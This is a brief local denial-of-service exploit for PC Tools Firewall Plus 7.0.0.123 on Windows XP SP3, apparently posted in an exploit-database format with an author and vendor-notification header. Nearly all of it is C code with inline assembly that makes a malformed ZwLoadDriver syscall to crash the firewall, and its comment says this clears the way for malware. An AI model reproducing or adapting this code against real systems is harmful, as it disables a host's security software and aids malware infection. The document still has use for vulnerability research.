/*
Exploit Title: PC Tools Firewall Plus Local DoS
Version: 7.0.0.123
Author: 0in (Maksymilian Motyl)
Software Link: www.pctools.com
Tested on: Windows XP SP3
Vendor was notified 25.06.2012 - No reply
*/
// After executing this small code, PC Tools Firewall crashes so it opens the way to malware escalation
#include "stdafx.h"
#include <Windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
for(int i=0;i<512;i++)
printf(".");
_asm
{
push 0xffffff
mov eax,61h ; ZwLoadDriver
mov edx,7FFE0300h ; ntdll.KiFastSystemCall
call dword ptr ds:[edx]
}
return 0;
}
